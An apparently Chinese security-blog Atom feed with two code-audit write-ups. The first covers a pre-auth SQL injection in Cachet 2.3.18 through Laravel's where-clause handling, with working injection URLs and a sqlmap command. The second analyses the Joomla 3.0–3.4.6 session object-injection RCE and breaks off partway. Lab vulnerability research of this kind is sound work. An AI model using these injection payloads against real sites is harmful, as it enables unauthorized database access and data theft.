<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom"><title>我吃你家米了 - 代码审计</title><link href="/" rel="alternate"></link><link href="feeds/dai-ma-shen-ji.atom.xml" rel="self"></link><id>/</id><updated>2021-09-07T00:00:00+02:00</updated><entry><title>cachet-2.3.18前台SQL注入</title><link href="cachet-2318qian-tai-sqlzhu-ru.html" rel="alternate"></link><published>2021-09-07T00:00:00+02:00</published><updated>2021-09-07T00:00:00+02:00</updated><author><name>12138</name></author><id>tag:None,2021-09-07:cachet-2318qian-tai-sqlzhu-ru.html</id><summary type="html">&lt;p&gt;references:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://mp.weixin.qq.com/s?__biz=MzA4MDU0NzY4Ng==&amp;amp;mid=2459419911&amp;amp;idx=1&amp;amp;sn=981f7d7c68e09898a6fc95a9a2c61aa1&amp;amp;chksm=88c1ff0ebfb676185d5934d5994e8930a3cf58ec205b6e90289df9c176259bd994ca6f09d817&amp;amp;exportkey=Af6%2BzfAltIwwlakwF9FsoxE%3D&amp;amp;pass_ticket=LMCiFxXBj9s%2FtS%2F1SemQEcstaLJXUESmepiszlQzC5%2FvSD09ngHR2RE5SVUq6Udh&amp;amp;wx_header=0#rd"&gt;从一个Laravel SQL注入漏洞开始的Bug Bounty之旅&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dev.mysql.com/doc/internals/en/com-stmt-prepare.html#packet-COM_STMT_PREPARE"&gt;https://dev.mysql.com/doc/internals/en/com-stmt-prepare.html#packet-COM_STMT_PREPARE&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.51cto.com/zhaowonq/1215337"&gt;https://blog.51cto.com/zhaowonq/1215337&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;环境搭建&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://gitee.com/wochinijiamile/windows-api-code/blob/master/Cachet-2.3.18.zip"&gt;cachet-2.3.18下载地址&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;用我的&lt;a href="https://github.com/wqreytuk/phpwheel"&gt;php破轮子&lt;/a&gt;搭建好环境，php版本使用php7.1，太高太低都不行&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20210907110121064" src="https://s2.loli.net/2024/06/14/8HTOK43MqEfsoIJ.png"&gt;&lt;/p&gt;
&lt;p&gt;解压 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;references:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://mp.weixin.qq.com/s?__biz=MzA4MDU0NzY4Ng==&amp;amp;mid=2459419911&amp;amp;idx=1&amp;amp;sn=981f7d7c68e09898a6fc95a9a2c61aa1&amp;amp;chksm=88c1ff0ebfb676185d5934d5994e8930a3cf58ec205b6e90289df9c176259bd994ca6f09d817&amp;amp;exportkey=Af6%2BzfAltIwwlakwF9FsoxE%3D&amp;amp;pass_ticket=LMCiFxXBj9s%2FtS%2F1SemQEcstaLJXUESmepiszlQzC5%2FvSD09ngHR2RE5SVUq6Udh&amp;amp;wx_header=0#rd"&gt;从一个Laravel SQL注入漏洞开始的Bug Bounty之旅&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dev.mysql.com/doc/internals/en/com-stmt-prepare.html#packet-COM_STMT_PREPARE"&gt;https://dev.mysql.com/doc/internals/en/com-stmt-prepare.html#packet-COM_STMT_PREPARE&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.51cto.com/zhaowonq/1215337"&gt;https://blog.51cto.com/zhaowonq/1215337&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;环境搭建&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://gitee.com/wochinijiamile/windows-api-code/blob/master/Cachet-2.3.18.zip"&gt;cachet-2.3.18下载地址&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;用我的&lt;a href="https://github.com/wqreytuk/phpwheel"&gt;php破轮子&lt;/a&gt;搭建好环境，php版本使用php7.1，太高太低都不行&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20210907110121064" src="https://s2.loli.net/2024/06/14/8HTOK43MqEfsoIJ.png"&gt;&lt;/p&gt;
&lt;p&gt;解压cachet，进入目录，执行&lt;code&gt;composer install&lt;/code&gt;，安装依赖&lt;/p&gt;
&lt;p&gt;然后将&lt;code&gt;.env.example&lt;/code&gt;复制为&lt;code&gt;.env&lt;/code&gt;文件&lt;/p&gt;
&lt;p&gt;配置好数据库密码之后，执行&lt;code&gt;php artisan app:install&lt;/code&gt;进行程序的安装和数据库数据迁移&lt;/p&gt;
&lt;p&gt;然后给cachet数据库的components表加一行测试数据&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20210907205744015" src="https://s2.loli.net/2024/06/14/sq56MSy8bRrXZfa.png"&gt;&lt;/p&gt;
&lt;h1&gt;漏洞分析&lt;/h1&gt;
&lt;p&gt;&lt;code&gt;Cachet-2.3.18\app\Http\Routes\ApiRoutes.php&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;该文件声明了cache的api路由，第33行到49行，这些路由均使用中间件&lt;code&gt;auth.api&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;这里顺便介绍一下laravel的中间件，简单来说就是介于用户的http请求和代码逻辑之间的一层处理代码，用于鉴权等操作&lt;/p&gt;
&lt;p&gt;其中&lt;code&gt;auth.api&lt;/code&gt;中间件接受一个bool类型的参数，默认为false，即不进行身份认证&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20210907204033733" src="https://s2.loli.net/2024/06/14/8wFUSbIu63fJ4DZ.png"&gt;&lt;/p&gt;
&lt;p&gt;漏洞入口在&lt;code&gt;components&lt;/code&gt;，也就是&lt;code&gt;ComponentController&lt;/code&gt;控制器的&lt;code&gt;getComponents&lt;/code&gt;方法&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Cachet-2.3.18\app\Http\Controllers\Api\ComponentController.php&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;第40行的search方法定义位于&lt;code&gt;Cachet-2.3.18\app\Models\Traits\SearchableTrait.php&lt;/code&gt;的&lt;code&gt;scopeSearch&lt;/code&gt;方法&lt;/p&gt;
&lt;p&gt;该方法中有一个检查：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;array_intersect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;array_keys&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="n"&gt;search&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;searchable&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;如果我们传递过来的参数&lt;code&gt;$search&lt;/code&gt;数组中的key形成的数组和&lt;code&gt;$this-&amp;gt;searchable&lt;/code&gt;没有交集，那么SQL查询就不会产生&lt;/p&gt;
&lt;p&gt;&lt;code&gt;$this-&amp;gt;searchable&lt;/code&gt;的值为：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="x"&gt;protected $searchable = [&lt;/span&gt;
&lt;span class="x"&gt;    &amp;#39;id&amp;#39;,&lt;/span&gt;
&lt;span class="x"&gt;    &amp;#39;component_id&amp;#39;,&lt;/span&gt;
&lt;span class="x"&gt;    &amp;#39;name&amp;#39;,&lt;/span&gt;
&lt;span class="x"&gt;    &amp;#39;status&amp;#39;,&lt;/span&gt;
&lt;span class="x"&gt;    &amp;#39;visible&amp;#39;,&lt;/span&gt;
&lt;span class="x"&gt;];&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;那么只要我们查询的时候，参数名为上面中的任何一个就可以继续查询&lt;/p&gt;
&lt;p&gt;根据路由，我们可以构造出如下查询&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;http://cachet.fucker:809/api/v1/components?name=1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;查询可以正常进行&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20210907204956636" src="https://s2.loli.net/2024/06/14/cl2hS3QgEJyMBpL.png"&gt;&lt;/p&gt;
&lt;p&gt;我们在&lt;code&gt;Cachet-2.3.18\app\Models\Traits\SearchableTrait.php&lt;/code&gt;的第41行下断点，然后一路跟进到&lt;code&gt;Cachet-2.3.18\vendor\laravel\framework\src\Illuminate\Database\Query\Builder.php&lt;/code&gt;的&lt;code&gt;addArrayOfWheres&lt;/code&gt;方法：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="x"&gt;protected function addArrayOfWheres($column, $boolean, $method = &amp;#39;where&amp;#39;)&lt;/span&gt;
&lt;span class="x"&gt;{&lt;/span&gt;
&lt;span class="x"&gt;    return $this-&amp;gt;whereNested(function ($query) use ($column, $method) {&lt;/span&gt;
&lt;span class="x"&gt;        foreach ($column as $key =&amp;gt; $value) {&lt;/span&gt;
&lt;span class="x"&gt;            //如果键是一个数字，且值是一个数组，那么就把数组当作参数，调用$query-&amp;gt;where方法&lt;/span&gt;
&lt;span class="x"&gt;            //如果$value有四个元素（id、=、1、and），依次是字段名、操作符、操作值、条件连接符&lt;/span&gt;
&lt;span class="x"&gt;            //形如and id=1&lt;/span&gt;
&lt;span class="x"&gt;            if (is_numeric($key) &amp;amp;&amp;amp; is_array($value)) {&lt;/span&gt;
&lt;span class="x"&gt;                call_user_func_array([$query, $method], $value);&lt;/span&gt;
&lt;span class="x"&gt;            } else {&lt;/span&gt;
&lt;span class="x"&gt;                $query-&amp;gt;$method($key, &amp;#39;=&amp;#39;, $value);&lt;/span&gt;
&lt;span class="x"&gt;            }&lt;/span&gt;
&lt;span class="x"&gt;        }&lt;/span&gt;
&lt;span class="x"&gt;    }, $boolean);&lt;/span&gt;
&lt;span class="x"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;因此我们可以构造出如下请求&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;http://cachet.fucker:809/api/v1/components?name=1&amp;amp;1[0]=a&amp;amp;1[1]==&amp;amp;1[2]=1&amp;amp;1[3]=motherfucker
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;img alt="image-20210907205537606" src="https://s2.loli.net/2024/06/14/DpHqe5Gz3REyCno.png"&gt;&lt;/p&gt;
&lt;p&gt;可以看到，我们的&lt;code&gt;motherfucker&lt;/code&gt;进入了预编译的查询语句&lt;/p&gt;
&lt;p&gt;biaojigaoliang1laravel并未对条件连接符进行防注入处理，我们的字符可以直接注入进去biaojigaoliang2&lt;/p&gt;
&lt;p&gt;进一步构造&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;http://cachet.fucker:809/api/v1/components?name=1&amp;amp;1[0]=a&amp;amp;1[1]==&amp;amp;1[2]=1&amp;amp;1[3]=) or 1=1%23
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;img alt="image-20210907205645316" src="https://s2.loli.net/2024/06/14/yUTV2Z5IkvoGs3N.png"&gt;&lt;/p&gt;
&lt;p&gt;正常来讲，我们这时候应该已经能够查询出来数据了，但是查询结果仍然是空的&lt;/p&gt;
&lt;p&gt;这里困扰了我挺久的，而且在debug的过程中，一直我也没看到&lt;code&gt;?&lt;/code&gt;被替换的SQL语句，只能看到预编译语句（带&lt;code&gt;?&lt;/code&gt;）&lt;/p&gt;
&lt;p&gt;后来干脆用wireshark抓了一下包&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20210907210016550" src="https://s2.loli.net/2024/06/14/RvpoG8Yr1z3TKxe.png"&gt;&lt;/p&gt;
&lt;p&gt;可以看到，客户端只发送了&lt;code&gt;Request Prepare Statement&lt;/code&gt;数据包，然后就直接发送了&lt;code&gt;Request Close Statement&lt;/code&gt;包&lt;/p&gt;
&lt;p&gt;正常情况下，中间还会发送一个&lt;code&gt;Request Execute Statement&lt;/code&gt;包，说明我的SQL语句根本就没执行&lt;/p&gt;
&lt;p&gt;后来了解了一下MySQL的预处理机制，就是说数据查询是分两步，第一步是先提交预处理语句给服务器，待替换参数使用&lt;code&gt;?&lt;/code&gt;标记，然后后续的查询，只需要提交对应的参数即可，如下所示：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;mysql&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;PREPARE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;stmt1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;select count(*) as aggregate from `components` where `enabled` = ? and (`name` = ? ) or 1=1# `a` = ?) and `components`.`deleted_at` is null&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;Query&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OK&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;rows&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;affected&lt;/span&gt;
&lt;span class="n"&gt;Statement&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;prepared&lt;/span&gt;

&lt;span class="n"&gt;mysql&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;SET&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;@a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;Query&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OK&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;rows&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;affected&lt;/span&gt;

&lt;span class="n"&gt;mysql&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;SET&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;@b&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;Query&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OK&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;rows&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;affected&lt;/span&gt;

&lt;span class="n"&gt;mysql&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;sET&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;@c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;Query&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OK&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;rows&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;affected&lt;/span&gt;

&lt;span class="n"&gt;mysql&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;EXECUTE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;stmt1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;USING&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;@a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;@b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;@c&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="mi"&gt;1210&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Incorrect&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arguments&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;EXECUTE&lt;/span&gt;
&lt;span class="n"&gt;mysql&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;EXECUTE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;stmt1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;USING&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;@a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;@b&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="o"&gt;+-----------+&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;aggregate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;+-----------+&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;+-----------+&lt;/span&gt;
&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;row&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;set&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;biaojigaoliang1我将我没有查询出来数据的语句进行预处理，然后定义3个变量，并使用这3个变量执行了预处理语句，直接报错，提示参数数量错误，后面改成2个，就可以正常查询了biaojigaoliang2&lt;/p&gt;
&lt;p&gt;biaojigaoliang1这说明了laravel在发送&lt;code&gt;Request Execute Statement&lt;/code&gt;数据包之前，已经自己进行了校验，但是具体代码我并没有找到biaojigaoliang2&lt;/p&gt;
&lt;p&gt;因此现在我们只需要按照如下方式进行请求的构造即可：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;http://cachet.fucker:809/api/v1/components?name=1000000&amp;amp;1[0]=a&amp;amp;1[1]==&amp;amp;1[2]=1000000&amp;amp;1[3]= and name=?) or 1=1%23
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;img alt="image-20210907211234255" src="https://s2.loli.net/2024/06/14/X1SoWTQIDJE9wVg.png"&gt;&lt;/p&gt;
&lt;p&gt;成功查询出来数据&lt;/p&gt;
&lt;p&gt;然后将&lt;code&gt;1=1&lt;/code&gt;改成&lt;code&gt;1=2&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20210907211304308" src="https://s2.loli.net/2024/06/14/ZXzjvRGKgbVEp98.png"&gt;&lt;/p&gt;
&lt;p&gt;未查询出数据，SQL盲注存在&lt;/p&gt;
&lt;p&gt;biaojigaoliang1这里由于是存在两个SQL查询语句，且两个语句的列数不一致，因此无法构造union注入，不管怎么写，两条语句都至少会有一条报列数不相等的错误，无法同时满足biaojigaoliang2&lt;/p&gt;
&lt;p&gt;sqlmap跑一下&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;python2.7 sqlmap.py -u &amp;quot;http://cachet.fucker:809/api/v1/components?name=1000000&amp;amp;1[0]=a&amp;amp;1[1]==&amp;amp;1[2]=1000000&amp;amp;1[3]= and name=?) *%23&amp;quot; --technique=B --level=5
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;img alt="image-20210907224429398" src="https://s2.loli.net/2024/06/14/YUeEp9gt4rk6Qwi.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20210907224444452" src="https://s2.loli.net/2024/06/14/k5wv4UWBzgIJ3qj.png"&gt;&lt;/p&gt;
&lt;p&gt;跑了两次，分别跑出了时间盲注和布尔盲注&lt;/p&gt;
&lt;p&gt;可以跑出数据&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20210907224725445" src="https://s2.loli.net/2024/06/14/LljpB8cwnfvxUJM.png"&gt;&lt;/p&gt;
&lt;h1&gt;总结&lt;/h1&gt;
&lt;p&gt;这个洞吧，我感觉应该是laravel框架的洞，如果不是他没有对参数进行过滤，这个注入也不会出现&lt;/p&gt;
&lt;p&gt;不足之处XDM多指点&lt;/p&gt;</content><category term="代码审计"></category></entry><entry><title>Joomla! CMS 3.0~3.4.6 RCE</title><link href="joomla-cms-30346-rce.html" rel="alternate"></link><published>2021-07-08T00:00:00+02:00</published><updated>2021-07-08T00:00:00+02:00</updated><author><name>12138</name></author><id>tag:None,2021-07-08:joomla-cms-30346-rce.html</id><summary type="html">&lt;p&gt;参考链接：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://1day.dev/web/2019/10/03/rusty-joomla-rce.html"&gt;https://1day.dev/web/2019/10/03/rusty-joomla-rce.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.php.net/manual/en/function.session-decode.php"&gt;https://www.php.net/manual/en/function.session-decode.php&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;概述&lt;/h1&gt;
&lt;p&gt;这个漏洞是由于Joomla在处理session数据的部分引起的&lt;/p&gt;
&lt;p&gt;关键代码就在session handler的read和write方法处：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;\libraries\joomla\session\storage\database.php&lt;/code&gt;第46和71行&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nv"&gt;$data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;str_replace …&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</summary><content type="html">&lt;p&gt;参考链接：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://1day.dev/web/2019/10/03/rusty-joomla-rce.html"&gt;https://1day.dev/web/2019/10/03/rusty-joomla-rce.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.php.net/manual/en/function.session-decode.php"&gt;https://www.php.net/manual/en/function.session-decode.php&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;概述&lt;/h1&gt;
&lt;p&gt;这个漏洞是由于Joomla在处理session数据的部分引起的&lt;/p&gt;
&lt;p&gt;关键代码就在session handler的read和write方法处：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;\libraries\joomla\session\storage\database.php&lt;/code&gt;第46和71行&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nv"&gt;$data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;str_replace&lt;span class="o"&gt;(&lt;/span&gt;chr&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;.&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;*&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;.&lt;span class="w"&gt; &lt;/span&gt;chr&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;\0\0\0&amp;#39;&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$data&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;biaojigaoliang1由Joomla处理而产生的&lt;code&gt;\0&lt;/code&gt;只会占一个字节，因为它原来是空字节和&lt;code&gt;*&lt;/code&gt;字符，所以在序列化的数据中&lt;code&gt;s:3:\0\0\0&lt;/code&gt;是正常的，但是如果我们手动注入了&lt;code&gt;\0\0\0&lt;/code&gt;字符，那么序列化的数据就是&lt;code&gt;s:6:\0\0\0&lt;/code&gt;，但是read方法会把&lt;code&gt;\0\0\0&lt;/code&gt;替换为&lt;code&gt;Null*Null&lt;/code&gt;，替换之后只占3个字节，多出来的这3字节就给了我们可乘之机，，对象注入就是从这里产生的biaojigaoliang2&lt;/p&gt;
&lt;h1&gt;分析&lt;/h1&gt;
&lt;p&gt;下面的内容实际上是对网上exp的分析，biaojigaoliang1不同的是网上公开的exp使用的是序列化数据中的username和password字段，但是这个不具有普遍性，因为它需要能够访问&lt;code&gt;index.php/components/user.php&lt;/code&gt;，并不是所有的网站都会处理这个请求，在下面的分析中，我选择通过user-agent和x-forwaard-for这两个http头进行漏洞利用biaojigaoliang2&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;因为只要两个字段是连续的即可，前一个字段用于撑大空间，后一个字段用于注入对象，因此除了username和password字段，x-forwarded-for和user-agent字段也是可以实现的&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;预备知识&lt;/h2&gt;
&lt;p&gt;这是一段正常的Joomla session数据：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="x"&gt;__default|a:8:{s:15:&amp;quot;session.counter&amp;quot;;i:1;s:19:&amp;quot;session.timer.start&amp;quot;;i:1625763909;s:18:&amp;quot;session.timer.last&amp;quot;;i:1625763909;s:17:&amp;quot;session.timer.now&amp;quot;;i:1625763909;s:22:&amp;quot;session.client.browser&amp;quot;;s:131:&amp;quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 